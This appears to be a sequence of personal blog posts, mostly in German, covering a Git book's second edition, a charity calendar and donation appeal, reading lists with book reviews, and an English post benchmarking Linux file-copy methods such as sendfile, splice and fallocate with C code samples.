Wir haben uns in der 2. Auflage darauf beschränkt, die Veränderungen in der Benutzung von Git, die bis Version 2.0 eingeführt wurden, behutsam aufzunehmen – tatsächlich sind heute viele Kommandos und Fehlermeldungen konsistenter, so dass dies an einigen Stellen einer wesentlichen Vereinfachung des Textes entspricht. Eingestreut finden sich, inspiriert von Fragen aus Git-Schulungen und unserer eigenen Erfahrung, neue Hinweise auf Probleme, Lösungsansätze und interessante Funktionalitäten.
Teils sind die Änderungen nur minimal, und zielen darauf ab, Neulingen
die „moderne“ Syntax der Kommandos beizubringen: Statt git commit
--amend -C HEAD
verwendet man nun zum Beispiel git commit --amend
--no-edit
, einen Merge bricht man mit git merge --abort
ab (statt
mit einem Hard-Reset), und das präferierte Pickaxe-Tool ist -G
, nicht
mehr -S
(ein subtiler Unterschied!).
Teils werden neue Optionen und Best-Practices (push.default
!)
diskutiert, und neue, aber vermutlich wenig bekannte Optionen
vorgestellt (z.B. die neuen Strategie-Optionen der
Recursive-Merge-Strategie, mit denen man durch Whitespace-Unsinn
verursachte Merge- oder Rebase-Konflikte häufig automatisch lösen
kann).
Ein nicht unerheblicher Teil der Änderungen ist der Art, dass man sich als Autor freuen kann: Zum Beispiel haben wir den gesamten Teil über „Subtrees“ im Vergleich zu „Submodules“ umgeschrieben, so dass git subtree verwendet wird, das nun Teil von Git ist. Dadurch fallen mal eben ein Dutzend schwer zu merkender Kommandos weg und werden durch ein Subkommando ersetzt, das eine eigene Man-Page bereithält.
Wir haben über die drei Jahre hauptsächlich sehr positives Feedback zu
dem Text erhalten. Insbesondere wurde von erfahrenen Anwendern häufig
gelobt, dass wir komplexe Beispiele verwenden und „schnell zum Punkt
kommen“. Der größte Kritikpunkt kam sicherlich aus der
Windows-Fraktion: Hier haben sich einige Leute etwas irritiert
gezeigt, wie sehr Unix-zentriert Textgestalt und Inhalte sind. Nach
reiflicher Überlegung haben wir uns entschieden, nicht von diesem
Kurs abzuweichen – insbesondere haben wir die Idee verworfen, eine
Auswahl an GUI-Clients ausführlich zu thematisieren. Wir konnten in
Git-Schulungen besonders mit „EGit“ (Eclipse) einiges an Erfahrung
sammeln, und unser Fazit fällt im Wesentlichen negativ aus: Die Tools
können nicht ansatzweise den Komfort und die Flexiblität des
Original-Git bieten, haben an einigen wesentlichen Stellen Probleme
– EGit kennt z.B. erst seit ein paar Monaten fetch.prune
, und es
gibt noch nicht mal einen Knopf dafür im Fetch-Dialog… wie soll man da
effizient mit Branches arbeiten?! – und ändern sich außerdem noch viel
zu schnell, als dass eine gedruckte Dokumentation helfen würde.
Eigentlich sollte die Neuauflage schon Ende des Sommers erscheinen. Dass es nun doch so lange gedauert hat, war vor allem technischen Gründen geschuldet: Die erste Auflage war in LaTeX geschrieben, doch mittlerweile hat der Open Source Press-Verlag auf das eigens entwickelte Publishing-System Textovia umgestellt, das AsciiDoc im Hintergrund verwendet.
Für die initiale Konvertierung von ca. 780 KB LaTeX-Quellcode sind wir dem Verlag sehr dankbar! Allerdings sind uns beim mehrmaligen konzentrierten Durchgehen an diversen Stellen noch übrig gebliebene LaTeX- und Konvertierungsartefakte aufgefallen, und so manchen einfachen LaTeX-Hack konnten wir nicht ohne Probleme in AsciiDoc umsetzen…
Die Umstellung auf das neue Format vereinfacht es immens, eine Print-Version parallel zu mehreren EBook-Versionen zu produzieren; insbesondere ist es aber so, dass nun im Print-Text keine Seitenzahlen mehr referenziert werden, sondern nur noch Abschnitt-Nummern. Wir hoffen, dass sich durch die Konvertierung nicht zu viele neue Fehler eingeschlichen haben.
Neben der Tatsache, dass die neue Auflage moderner und konsistenter ist, bietet sie eine ganz wesentliche Neuerung, die vielfach vermisst wurde: Jedes gedruckte Buch enthält auf der ersten Seite einen Code, mit dem man sich eine PDF-Version des Buches herunterladen kann: So ist das Buch angenehm auf Papier zu lesen, aber gleichzeitig leicht zu durchsuchen.
Erster Advent, Dezemberbeginn… Da drängt sich die Frage auf: Was soll ich bloß Freunden und Bekannten zu Weichnachten schenken? Denn bis zum Vierundzwanzigsten ist es nicht mehr lange hin.
Dabei kann die Antwort so einfach sein: Man schenke einfach einen „KaLänder“!
Der KaLänder wurde von Freiwilligen der Austauschorganisation VIA e.V. gestaltet, und das – mit ständig wechselnden Teams – zum mittlerweile fünften Mal. Die Erlöse durch den Verkauf werden wie immer an ausgewählte Projekte weitergeleitet.
Am einfachsten bestellt ihr einfach per E-Mail. Tip: Leitet die Links vorher an Kollegen und Bekannten in eurer Umgebung weiter, sprecht euch ab und macht eine Sammelbestellung!
Und für diejenigen, die jetzt denken: Stimmt, eigentlich habe ich immer noch keine Idee, was ich mit dem Rest meines 13. Jahresgehalts mache… da hätte ich sonst auch noch eine Idee.
Das Projekt (Watoto Wetu Tanzania, ehemals Friends of Don Bosco), in dem ich ein Jahr lang mitgearbeitet habe, ist leider wie immer knapp bei Kasse; insbesondere ist es wie jedes Jahr wieder schwierig, das überproportional hohe Schulgeld zusammenzubekommen, denn ein Großteil der unterstützten Kinder ist das Jahr über in anderen Städten auf Boarding Schools.
Spenden könnt ihr direkt auf dieses Konto (und VIA e.V. kann auf Anfrage auch Spendenbescheinigungen ausstellen):
Kontoinhaber: VIA e.V.
IBAN: DE79 2405 0110 0065 0887 83
Kreditinstitut: Sparkasse Lüneburg
Verwendungszweck: WAWESG (bitte angeben!)
Jede Spende hilft! Bei Fragen und für weitere Informationen zu Watoto Wetu Tanzania könnt ihr gerne Robert Hörner und mich kontaktieren.
Es ist eine ganze Weile vergangen, und ich habe sicherlich schon wieder ein paar vergessen…
Bei der Neuerscheinung von Noam Chomskys How the World Works handelt es sich um eine Kollektion von ein paar alten Texten und aufbereiteten Interviews aus den 1990er Jahren. Zwei Exzerpte:
Recall that about ten years ago, when David Stockman [director of the Office of Management and Budget in the early Reagan years] was kicked out, he had some interviews with economic journalist William Greider. There Stockman pretty much said that the idea was to try to put a cap on social spending, simply by debt. There would always be plenty to subsidize the rich. But they wouldn’t be able to pay aid to mothers with dependent children—only aid to dependent corporate executives.
Und:
You still find plenty of poor, uneducated people smoking; in fact, tobacco has become such a lower-class drug that some legal historians are predicting that it will become illegal. Over the centuries, when some substance became associated with “the dangerous class,” it’s often been outlawed. Prohibition of alcohol in [the US] was, in part, aimed at working-class people in New York City saloons and the like. The rich kept drinking as much as they wanted.
William S. Burroughs vielgefeiertes Naked Lunch – Na, zum Glück war das Buch so kurz. Einfach nur bizarr. Ich mag schon eigentlich ganz gerne, wenn eine Art von Geschichte erzählt wird. – Besser gefiel mir da schon Jack Kerouacs On The Road, aber wirklich bewegt hat es mich auch nicht.
Dave Eggers: The Circle – Das liest man so an einem Sonntag weg. Nett geschrieben und die Handlung gut vorhersehbar, aber es ist ein jetzt aktuelles Zeitgeist-Portrait und wird als solches in ein paar Jahren vermutlich seine Aktualität verloren haben.
James C. Scott: Seeing Like a State – Ein Agrarwissenschaftler verliert sich für ein paar Jahre in einem Thema, das ziemlich interessant ist, und fasst seine Erkenntnisse in einem sehr zugänglichen Sachbuch zusammen. Das Buch ist ein Aufruf, Diversität zu zelebrieren, und Lokales Wissen (insbesondere im Kontext indigener Völker) zu respektieren, erhalten und aktiv zu verwenden. Grundthema des Buches ist die „legibility of a population“, für die man soziale und Umwelt-Verhältnisse normalerweise metrisiert, das heißt in vergleichbaren Zahlen ausdrückt (Hektar Norm-Wald, Bildungs-Index, Populationsquerschnitt, etc.). Scott untersucht einige Beispiele eingehender, und die Schlussfolgerung lässt sich in etwa wie folgt zusammenzufassen: „Die Metrik ist nicht nur zu simpel, sie ist so simpel, dass sie der Bevölkerung aktiv schadet und neue, dieser Metrik angepasste Realitäten kreiert.“ – Lesenswert, wenn man sich für so ein Thema begeistern kann.
Nachdem ich Huxley noch einmal gelesen hatte, musste ich zum Vergleich auch noch mal Orwells Roman 1984 lesen. Ich bin nach wie vor der Meinung, dass Huxley „mehr“ Recht hat in unserer momentanen Entwicklung – aber man muss Orwell zugute halten, dass seine Erfindung von „Newspeak“ sehr vorausschauend und auch heute noch hochaktuell ist.
David Benioffs Bestseller Stadt der Diebe ist ein schönes Buch über eine Freundschaft in Zeiten des Krieges – aber auf gewisse Weise ein Weltkriegsbuch, das sehr an andere seit den 2000ern erschienen Romane zu diesem Thema erinnert. Es ist eine gewisse Leichtigkeit darin, die vorher nicht möglich war, aber keinesfalls mehr neu ist.
Per Petterson: Out Stealing Horses – Ein überraschend schöner Roman. Ferienliteratur, finde ich. – Für Khaleed Hosseinis Roman A Thousand Splendid Suns bin ich glaube ich doch ein bisschen die falsche Zielgruppe. Mich hat das Buch auf jeden Fall nicht so sehr berührt, und es bleibt beim Lesen ein fader Beigeschmack ähnlich wie wenn man als Tourist in „exotischen Ländern“ das Kreuzfahrtschiff für ein paar Stunden verlässt, und auf die oberflächlichst mögliche Weise eine „Kultur kennen lernt“. –
Glenn Greenwald: No Place to Hide ist ein wichtiges Buch. Wenn man die Enthüllungen ein bisschen verfolgt hat, kennt man schon einen großen Teil des dargestellten Bildes (aber Microsoft kommt wirklich ganz schön schlecht weg). Die ersten 90 Seiten über die Kontaktaufnahme mit Snowden sind der reinste Krimi. Der letzte Teil ist ein wenig zu viel Rumgeheule von Greenwald.
Thomas Pynchon: Gravity’s Rainbow – Was soll man zu dem Buch bloß sagen…? Die ersten dreihundert Seiten sind komplett verwirrend. Gegen Mitte scheint sich ein kohärenter Plot zu entwickeln – aber das lässt schnell wieder nach. Ab Seite 700 war ich nur noch darüber wütend, was für eine Zeitverschwendung das Buch sei. Die Witze sind anfangs vielleicht noch zum Schmunzeln… aber irgendwann reicht’s dann auch, und „witzige Situationen“ wie die folgende: Eine Frau wird ausgeraubt, hat aber einen Sprachdefekt und kann keine Umlaute aussprechen, und ruft statt „Hübsch Räuber“ – ja, man errät es, „Hubsch Rauber“, „Hubschrauber“, haha, was dann jemanden ein paar Häuser weiter (es ist 1920, niemand weiß was ein Hubschrauber ist…), der zufällig Aerodynamik studiert (ah!), dazu veranlasst, etwas zu tun – naja, eine solche Situation finde ich nur noch lustig, weil es so schlecht erzwungen ist.
Zugestehen muss man Pynchon aber, dass er über eine schier unglaubliche Allgemeinbildung verfügen muss. Das Buch driftet mitunter in Richtungen ab, die komplett unerwartet kommen: An einem Nachmittag sitze ich in einem kleinen Park in Neukölln am Lesen, und plötzlich spielt die Geschichte auch in Neukölln – das ist schon ziemlich verrückt, und ein bisschen frage ich mich, ob ich nicht einen Großteil der Referenzen nicht verstanden habe. Und auch ein relativ unbekannter Aspekt der deutschen Kolonialgeschichte, der Genozid der Herero durch deutsche Kolonialherren im heutigen Namibia – für den sich die deutsche Bundesregierung im Übrigen bis heute noch nicht verantwortlich fühlt – spielt eine nicht unbedeutende Rolle.
Max Frisch: Homo Faber – John Williams: Stoner, ein wirklich beeindruckendes weil unprätentiöses Buch. – Kazuo Ishiguro: Never Let Me Go, hatte ich schon als Film gesehen, daher kam es mir die ganze Zeit bekannt vor. Nicht wirklich zu empfehlen… – Cynan Jones: The Long Dry, einer von den „Neuentdeckungen“, aber mich hat’s nicht so mitgenommen. – Ned Vinzinni: It’s kind of a funny story, da war ich auch nicht ganz die richtige Zielgruppe, aber es beleuchtet einen wichtigen Punkt: Die Angst vor dem Versagen, die wir schon jungen Erwachsenen einbläuen. – Hubert Selby Jr.: The Room – Damit konnte ich nichts anfangen. – Hermann Hesse: Siddhartha – Jaja, mythologisch-romantisch… aber nicht sein bestes Werk. – Strugatski: Der Montag fängt am Samstag an, kann man lesen. Muss man aber nicht.
Angeregt von Franzens Essay Mr Difficult, habe ich William Gaddis’ Roman The Recognitions gelesen… Mir hat’s gut gefallen, auch wenn es an einigen Stellen arg verwirrend war – man könnte zum Beispiel erwähnen, dass der vollkommen passive Hauptcharakter nach ca. einem Drittel des Buches seinen Namen verliert (vergisst?), und so die wörtliche Rede, die sowieso nur mit Gedankenstrichen angedeutet wird und nicht indiziert, wer redet, noch unüberschaubarer wird, weil der Protagonist entweder gar nicht mehr direkt, oder nur mit „my dear fellow“ angeredet wird. Insgesamt liest sich das Buch wie eine 50er-Jahre-Hipster-Party, durchsetzt von unauflöslichem, allgemeinen Weltzweifel – gespickt mit einer guten Portion christlichem Mystizismus.
Um mich ein bisschen zu bilden, habe ich auch einen der Kurzgeschichtenbände der Literaturnobelpreisträgerin Alice Munro gelesen: Runaway gefiel mir gut, vor allem, weil nicht immer ganz klar war, wie sehr die Geschichten nun wirklich zusammenhängen.
Robert Charles Wilson: Spin – Das hat mich eine ganze Nacht wachgehalten. Sehr spannend. Mehr Science Fiction? Ein Freund schenkte mir Richard Morgans Altered Carbon, das auch empfehlenswert ist.
Eine Neueentdeckung für mich war Knut Hamsun: Ich habe Hunger und anschließend die Mysterien gelesen. Erinnert mich ein bisschen an Dostojewski, nur halt nicht so russisch.
Den Tod Frank Schirrmachers habe ich als herben Verlust empfunden. Ich habe aus jedem seiner Feuilleton-Artikel neue Denkanstöße mitnehmen können. Ähnlich ging es mir mit Ego – Spiel des Lebens, definitiv lesenswert, vor allem aufgrund der historischen Perspektive, die es bietet.
Ich weiß beim besten Willen nicht mehr, wie ich dazu kam, mir ein klassisches Tennis-Selbsthilfe-Buch auf meine Liste zu schreiben. Aber auch außerhalb von Tennis (oder Sport überhaupt) bietet W. Timothy Gallweys 100-Seiter The Inner Game of Tennis gute Ratschläge: „Zu viel Nachdenken ist hinderlich für Exzellenz.“
Ein Freund interessiert sich dafür, wie man fernöstliche Ideen mit westlicher Philosophie verbinden kann und hat mir Alan Watts geschenkt, Das Tao der Philosophie. Ich finde den Stil zu sehr wie eine aufgezeichnete Radioansprache, die auch Erna (83) aus Norderstedt verstehen soll.
Über alle Maßen beeindruckt war ich hingegen von Adorno/Horkheimers Werk Dialektik der Aufklärung. Dialektik ist ein ziemlich facettenreicher Begriff, aber beim Lesen dieses Textes habe ich das erste Mal meisterhafte Dialektiker bei der Arbeit sehen können. Man muss allerdings sagen, dass der Text nicht einfach zu lesen ist. Ich musste dauernd Wörter nachschlagen, und das bisweilen unnötigerweise, denn die Autoren benutzen hochgestochene Begriffe wie Fungibilität und Usance, anstatt einfach Austauschbarkeit und Eigenschaft. Auch tendieren sie dazu, Sätze sehr kompliziert zu schachteln und Prozesse zu subjektifizieren, so dass man häufig zweimal nachdenken muss, was gemeint ist – dann wird man aber belohnt. Kostprobe gefällig?
In der Reduktion des Denkens auf mathematische Apparatur ist die Sanktion der Welt als ihres eigenen Maßes beschlossen. Was als Triumph subjektiver Rationalität erscheint, die Unterwerfung alles Seienden unter den logischen Formalismus, wird mit der gehorsamen Unterordnung der Vernunft unters unmittelbar Vorfindliche erkauft. Das Vorfindliche als solches zu begreifen, den Gegebenheiten nicht bloß ihre abstrakten raumzeitlichen Beziehungen abzumerken, bei denen man sie dann packen kann, sondern sie im Gegenteil als die Oberfläche, als vermittelte Begriffsmomente zu denken, die sich erst in der Entfaltung ihres gesellschaftlichen, historischen, menschlichen Sinnes erfüllen – der ganze Anspruch der Erkenntnis wird preisgegeben.
Ich hatte kurz vorher die Odyssee gelesen, insofern gefiel mir auch besonders der Exkurs über die Dialektik von Mythos und Aufklärung am Beispiele von Odysseus. Was ich mich frage ist: Inwieweit hat Homer diese Dialektik durchschaut? Es ließ sich für mich aus dem Text nicht herauslesen, ob die Autoren Homers Text neu interpretieren, oder ihm nur etwas ablesen, dessen Tiefgründigkeit bisher nicht als solche erkannt wurde.
Or: A tale about Linux file write patterns.
So I once wrote a custom core dump handler to be used with Linux’s
core_pattern. What it does is take a core dump on
STDIN plus a few arguments, and then write the core to a predictable
location on disk with a time stamp and suitable access rights. Core
dumps tend to be rather large, and in general you don’t know in
advance how much data you’ll write to disk. So I built a functionality
to write a chunk of data to disk (say, 16MB) and then check with
fstatfs()
if the disk has still more than threshold capacity (say,
10GB). This way, a rapidly restarting and core-dumping application
cannot lead to “disk full” follow up failures that will inevitably
lead to a denial of service for most data handling services.
So… how do we write a lot of data to disk really fast? – Let us maybe
rephrase the question: How do we write data to disk in the first
place? Let’s assume we have already opened file descriptors in
and
out
, and we just want to copy everything from in
to out
.
One might be tempted to try something like this:
ssize_t read_write(int in, int out)
{
ssize_t n, t = 0;
char buf[1024];
while((n = read(in, buf, 1024)) > 0) {
t += write(out, buf, n);
}
return t;
}
“But…!”, you cry out, “there’s so much wrong with this!” And you are right, of course:
n
is not checked. It might be -1
. This might be
because e.g. we have got a bad file descriptor, or because the
syscall was interrupted.write(out, buf, 1024)
will – if it does not return -1
– write at least one byte, but we have no guarantee that we will
actually write all n
bytes to disk. So we have to loop the write
until we have written n
bytes.An updated and semantically correct pattern reads like this (in a real program you’d have to do real error handling instead of assertions, of course):
ssize_t read_write_bs(int in, int out, ssize_t bs)
{
ssize_t w = 0, r = 0, t, n, m;
char *buf = malloc(bs);
assert(buf != NULL);
t = filesize(in);
while(r < t && (n = read(in, buf, bs))) {
if(n == -1) { assert(errno == EINTR); continue; }
r = n;
w = 0;
while(w < r && (m = write(out, buf + w, (r - w)))) {
if(m == -1) { assert(errno == EINTR); continue; }
w += m;
}
}
free(buf);
return w;
}
We have a total number of bytes to read (t
), the number of bytes
already read (r
), and the number of bytes already written (w
).
Only when t == r == w
are we done (or if the input stream ends
prematurely). Error checking is performed so that we restart
interrupted syscalls and crash on real errors.
What about the bs
parameter? Of course you may have already noticed
in the first example that we always copied 1024 bytes. Typically, a
block on the file system is 4KB, so we are only writing quarter
blocks, which is likely bad for performance. So we’ll try different
block sizes and compare the results.
We can find out the file system’s block size like this (as usual, real error handling left out):
ssize_t block_size(int fd)
{
struct statfs st;
assert(fstatfs(fd, &st) != -1);
return (ssize_t) st.f_bsize;
}
OK, let’s do some benchmarks! (Full code is on GitHub.) For simplicity I’ll try things on my laptop computer with Ext3+dmcrypt and an SSD. This is “read a 128MB file and write it out”, repeated for different block sizes, timing each version three times and printing the best time in the first column. In parantheses you’ll see the percentage increase in comparison to the best run of all methods:
read+write 16bs 164ms 191ms 206ms
read+write 256bs 167ms 168ms 187ms (+ 1.8%)
read+write 4bs 169ms 169ms 177ms (+ 3.0%)
read+write bs 184ms 191ms 200ms (+ 12.2%)
read+write 1k 299ms 317ms 329ms (+ 82.3%)
Mh. Seems like multiples of the FS’s block sizes don’t really matter here. In some runs, the 16x blocksize is best, sometimes it’s the 256x. The only obvious point is that writing only a single block at once is bad, and writing fractions of a block at once is very bad indeed performance-wise.
Now what’s there to improve? “Surely it’s the overhead of using
read()
to get data,” I hear you saying, “Use mmap()
for that!”
So we come up with this:
ssize_t mmap_write(int in, int out)
{
ssize_t w = 0, n;
size_t len;
char *p;
len = filesize(in);
p = mmap(NULL, len, PROT_READ, MAP_SHARED, in, 0);
assert(p != NULL);
while(w < len && (n = write(out, p + w, (len - w)))) {
if(n == -1) { assert(errno == EINTR); continue; }
w += n;
}
munmap(p, len);
return w;
}
Admittedly, the pattern is simpler. But, alas, it is even a little bit slower! (YMMV)
read+write 16bs 167ms 171ms 209ms
mmap+write 186ms 187ms 211ms (+ 11.4%)
“Surely copying around useless data is hurting performance,” I hear you say, “it’s 2014, use zero-copy already!” – OK. So basically there are two approaches for this on Linux: One cumbersome but rather old and known to work, and then there is the new and shiny sendfile interface.
For the splice
approach, since either reader or writer of your splice call must be
pipes (and in our case both are regular files), we need to create a
pipe solely for the purpose of splicing data from in
to the write
end of the pipe, and then again splicing that same chunk from the read
end to the out
fd:
ssize_t pipe_splice(int in, int out)
{
size_t bs = 65536;
ssize_t w = 0, r = 0, t, n, m;
int pipefd[2];
int flags = SPLICE_F_MOVE | SPLICE_F_MORE;
assert(pipe(pipefd) != -1);
t = filesize(in);
while(r < t && (n = splice(in, NULL, pipefd[1], NULL, bs, flags))) {
if(n == -1) { assert(errno == EINTR); continue; }
r += n;
while(w < r && (m = splice(pipefd[0], NULL, out, NULL, bs, flags))) {
if(m == -1) { assert(errno == EINTR); continue; }
w += m;
}
}
close(pipefd[0]);
close(pipefd[1]);
return w;
}
“This is not true zero copy!”, I hear you cry, and it’s true, the ‘page stealing’ mechanism has been discontinued as of 2007. So what we get is an “in-kernel memory copy”, but at least the file contents don’t cross the kernel/userspace boundary twice unnecessarily (we don’t inspect it anyway, right?).
The sendfile()
approach is more immediate and clean:
ssize_t do_sendfile(int in, int out)
{
ssize_t t = filesize(in);
off_t ofs = 0;
while(ofs < t) {
if(sendfile(out, in, &ofs, t - ofs) == -1) {
assert(errno == EINTR);
continue;
}
}
return t;
}
So… do we get an actual performance gain?
sendfile 159ms 168ms 175ms
pipe+splice 161ms 162ms 163ms (+ 1.3%)
read+write 16bs 164ms 165ms 178ms (+ 3.1%)
“Yes! I knew it!” you say. But I’m lying here. Every time I execute
the benchmark, another different approach is the fastest. Sometimes
the read/write approach comes in first before the two others. So it
seems that this is not really a performance saver, is it? I like the
sendfile()
semantics, though. But beware:
In Linux kernels before 2.6.33, out_fd must refer to a socket. Since Linux 2.6.33 it can be any file. If it is a regular file, then sendfile() changes the file offset appropriately.
Strangely, sendfile()
works on regular files in the default Debian
Squeeze Kernel (2.6.32-5) without problems. (Update 2015-01-17:
Przemysław Pawełczyk, who in 2011 sent Changli Gao’s patch which
re-enables this behaviour to stable@kernel.org for inclusion in Linux
2.6.32, wrote to me explaining how exactly it ended up being
backported. If you’re interested, see this excerpt from his
email.)
“But,” I hear you saying, “the system has no clue what your intentions are, give it a few hints!” and you are probably right, that shouldn’t hurt:
void advice(int in, int out)
{
ssize_t t = filesize(in);
posix_fadvise(in, 0, t, POSIX_FADV_WILLNEED);
posix_fadvise(in, 0, t, POSIX_FADV_SEQUENTIAL);
}
But since the file is very probably fully cached, the performance is not improved significantly. “BUT you should supply a hint on how much you will write, too!” – And you are right. And this is where the story branches off into two cases: Old and new file systems.
I’ll just tell the kernel that I want to write t
bytes to disk now,
and please reserve space (I don’t care about a “disk full” that I
could catch and act on):
void do_falloc(int in, int out)
{
ssize_t t = filesize(in);
posix_fallocate(out, 0, t);
}
I’m using my workstation’s SSD with XFS now (not my laptop any more). Suddenly everything is much faster, so I’ll simply run the benchmarks on a 512MB file so that it actually takes time:
sendfile + advices + falloc 205ms 208ms 208ms
pipe+splice + advices + falloc 207ms 209ms 210ms (+ 1.0%)
sendfile 226ms 226ms 229ms (+ 10.2%)
pipe+splice 227ms 227ms 231ms (+ 10.7%)
read+write 16bs + advices + falloc 235ms 240ms 240ms (+ 14.6%)
read+write 16bs 258ms 259ms 263ms (+ 25.9%)
Wow, so this posix_fallocate()
thing is a real improvement! It seems
reasonable enough, of course: Already the file system can prepare an
– if possible contiguous – sequence of blocks in the requested size. But
wait! What about Ext3? Back to the laptop:
sendfile 161ms 171ms 194ms
read+write 16bs 164ms 174ms 189ms (+ 1.9%)
pipe+splice 167ms 170ms 178ms (+ 3.7%)
read+write 16bs + advices + falloc 224ms 229ms 229ms (+ 39.1%)
pipe+splice + advices + falloc 229ms 239ms 241ms (+ 42.2%)
sendfile + advices + falloc 232ms 235ms 249ms (+ 44.1%)
Bummer. That was unexpected. Why is that? Let’s check strace
while
we execute this program:
fallocate(1, 0, 0, 134217728) = -1 EOPNOTSUPP (Operation not supported)
...
pwrite(1, "\0", 1, 4095) = 1
pwrite(1, "\0", 1, 8191) = 1
pwrite(1, "\0", 1, 12287) = 1
pwrite(1, "\0", 1, 16383) = 1
...
What? Who does this? – Glibc does this! It sees the syscall fail and re-creates the semantics by hand. (Beware, Glibc code follows. Safe to skip if you want to keep your sanity.)
/* Reserve storage for the data of the file associated with FD. */
int
posix_fallocate (int fd, __off_t offset, __off_t len)
{
#ifdef __NR_fallocate
# ifndef __ASSUME_FALLOCATE
if (__glibc_likely (__have_fallocate >= 0))
# endif
{
INTERNAL_SYSCALL_DECL (err);
int res = INTERNAL_SYSCALL (fallocate, err, 6, fd, 0,
__LONG_LONG_PAIR (offset >> 31, offset),
__LONG_LONG_PAIR (len >> 31, len));
if (! INTERNAL_SYSCALL_ERROR_P (res, err))
return 0;
# ifndef __ASSUME_FALLOCATE
if (__glibc_unlikely (INTERNAL_SYSCALL_ERRNO (res, err) == ENOSYS))
__have_fallocate = -1;
else
# endif
if (INTERNAL_SYSCALL_ERRNO (res, err) != EOPNOTSUPP)
return INTERNAL_SYSCALL_ERRNO (res, err);
}
#endif
return internal_fallocate (fd, offset, len);
}
And you guessed it, internal_fallocate()
just does a pwrite()
on
the first byte for every block until the space requirement is
fulfilled. This is slowing things down considerably. This is bad. –
“But other people just truncate the file! I saw this!”, you interject, and again you are right.
void enlarge_truncate(int in, int out)
{
ssize_t t = filesize(in);
ftruncate(out, t);
}
Indeed the truncate versions work faster on Ext3:
pipe+splice + advices + trunc 157ms 158ms 160ms
read+write 16bs + advices + trunc 158ms 167ms 188ms (+ 0.6%)
sendfile + advices + trunc 164ms 167ms 181ms (+ 4.5%)
sendfile 164ms 171ms 193ms (+ 4.5%)
pipe+splice 166ms 167ms 170ms (+ 5.7%)
read+write 16bs 178ms 185ms 185ms (+ 13.4%)
Alas, not on XFS. There, the fallocate()
system call is just more
performant. (You can also use
xfsctl
directly for that.) –
And this is where the story ends.
In place of a sweeping conclusion, I’m a little bit disappointed that
there seems to be no general semantics to say “I’ll write n
bytes
now, please be prepared”. Obviously, using posix_fallocate()
on Ext3
hurts very much (this may be why cp
is not
employing
it). So I guess the best solution is still something like this:
if(fallocate(out, 0, 0, len) == -1 && errno == EOPNOTSUPP)
ftruncate(out, len);
Maybe you have another idea how to speed up the writing process? Then drop me an email, please.
Update 2014-05-03: Coming back after a couple of days’ vacation, I found the post was on HackerNews and generated some 23k hits here. I corrected the small mistake in example 2 (as pointed out in the comments – thanks!). – I trust that the diligent reader will have noticed that this is not a complete survey of either I/O hierarchy, file system and/or hard drive performace. It is, as the subtitle should have made clear, a “tale about Linux file write patterns”.
Update 2014-06-09: Sebastian pointed out an error
in the mmap write pattern (the write should start at p + w
, not at p
).
Also, the basic read/write pattern contained a subtle error. Tricky business –
Thanks!
Es hat sich mal wieder einiges angesammelt:
Robert A. Caro: The Power Broker – die monumentale Biographie einer Person und der Stadt, die er wesentlich prägte. Ich hatte vorher den Namen noch nie gehört, und war auch noch nie in New York City. Es ist mehr als beeindruckend zu lesen, wie ein so außergewöhnlicher Mensch sich durch politische Einflussnahme, Intelligenz, Willensstärke und Ausnutzung trivial scheinender Gesetzeslücken auf nicht-demokratische Weise in einem demokratischen System zum de-facto Alleinbestimmer über Bauvorhaben emporhebt und so die Realität des New Yorker Alltagslebens ganz entschieden bestimmt. (Achtung: Das Buch hat 1300 Seiten und wiegt gute 1,5kg, eignet sich daher nur bedingt zum Herumtragen…)
Auf Drängen eines Freundes habe ich eines von Hannah Arendts zentralen theoretischen Werken gelesen, Vita Activa (engl. The Human Condition). Mir gefiel ihr Stil nicht wirklich: Zu viel versucht sie zu „beweisen“, indem sie etymologische Ursprünge von Wörtern im Griechischen untersucht, oder Wort-Zusammensetzungen in anderen Sprachen analysiert und den entsprechenden Konnotationen intrinsische Wahrheit über die Begriffe abzugewinnen versucht.
Hermann Hesses Roman Das Glasperlenspiel ist eines der behutsamsten, intellektuell durchkonstruiertesten Geschichten, die ich gelesen habe. Die Hingabe und Aufrichtigkeit, mit der Joseph Knecht seiner Aufgabe als Glasperlenspielmeister nachgeht, ist so beeindruckend und einfach „schön“, die ganze Welt Kastaliens so liebevoll und detailliert porträtiert, dass ich das Buch kaum weglegen wollte – bis ich zu den Anhängen, den fiktiven Lebensläufen Knechts kam: die ich nur noch halbherzig überflogen habe; zu stark kommen die buddhistischen, spirituellen, wiederkehr-und-ganzheits-philosophischen Gedanken durch, die mir immer (auch bei anderen Autoren) als ausweichend, nicht tief gehend und verklärend sauer aufstoßen. Schade. (Mein früherer Mitbewohner Sergej, damals Mathematiker ein dutzend Semester über mir, schwärmte immer von der Kohomologietheorie als einem „wahren Glasperlenspiel“ – und nach der Lektüre weiß ich endlich, was er damit immer meinte, und bin geneigt, ihm zuzustimmen.)
Ein bisschen später habe ich noch Hesses Demian gelesen. Auch eine wunderschöne Geschichte.
Michel Houellebecq: Ausweitung der Kampfzone – Schreibstil und Protagonist gefielen mir nicht so gut, aber die Lektüre belohnt: Hie und da blitzen pointierte gesellschaftskritische Passagen auf, die es in sich haben – und die ich zumindest so schnell nicht vergessen werde.
Einen Klassiker unter den Abenteuerbüchern, Jon Krakauers Bericht einer im Frühjahr 1996 katastrophal endenden Mount-Everest-Expedition mit dem überaus passenden Titel Into Thin Air, habe ich an einem Abend bei Schnee und -10°C Außentemperatur verschlungen: extrem spannend. Minutiös und mit geschultem Blick für lokale Verhältnisse erläutert Krakauer nicht nur den Aufstieg, sondern auch die (meist abseits der zahlenden Bergsteiger stattfindende) Planung, Hintergründe seiner Mit-Bergsteiger und stellt nicht zuletzt auf fesselnde Weise dar, wie sehr der Menschliche Körper in eisiger Kälte und viel zu dünner Luft den letzten Rest eingebildeter Rationalität vergisst – ohne dasselbe überhaupt mitzubekommen. Ihm kommt außerdem die schwere Aufgabe zu, als einer der Überlebenden einer Expedition, an deren summit push day insgesamt 10 Leute ihr Leben ließen, auch bei sich selbst und den anderen Beteiligten Fehler festzustellen – und zu reflektieren, wie es möglich ist, nach so einem Vorfall wieder zurück ins „normale Leben“ zu kehren. Unbedingte Lese-Empfehlung.
Die Blendung von Elias Canetti hatte ich schonmal mit 18 Jahren angefangen und nach 100 Seiten gähnend weggelegt. Beim neuerlichen Lesen war das Buch eigentlich ganz gut: Ein schwacher Mittelteil – mir zu viele vorhersehbare und übertriebene Kopfgeburten der Leute –, aber starker erster und letzter Teil. Kann man schon lesen.
Den neuen Roman von Umberto Eco, The Prague Cemetary, war nicht so mein Fall.
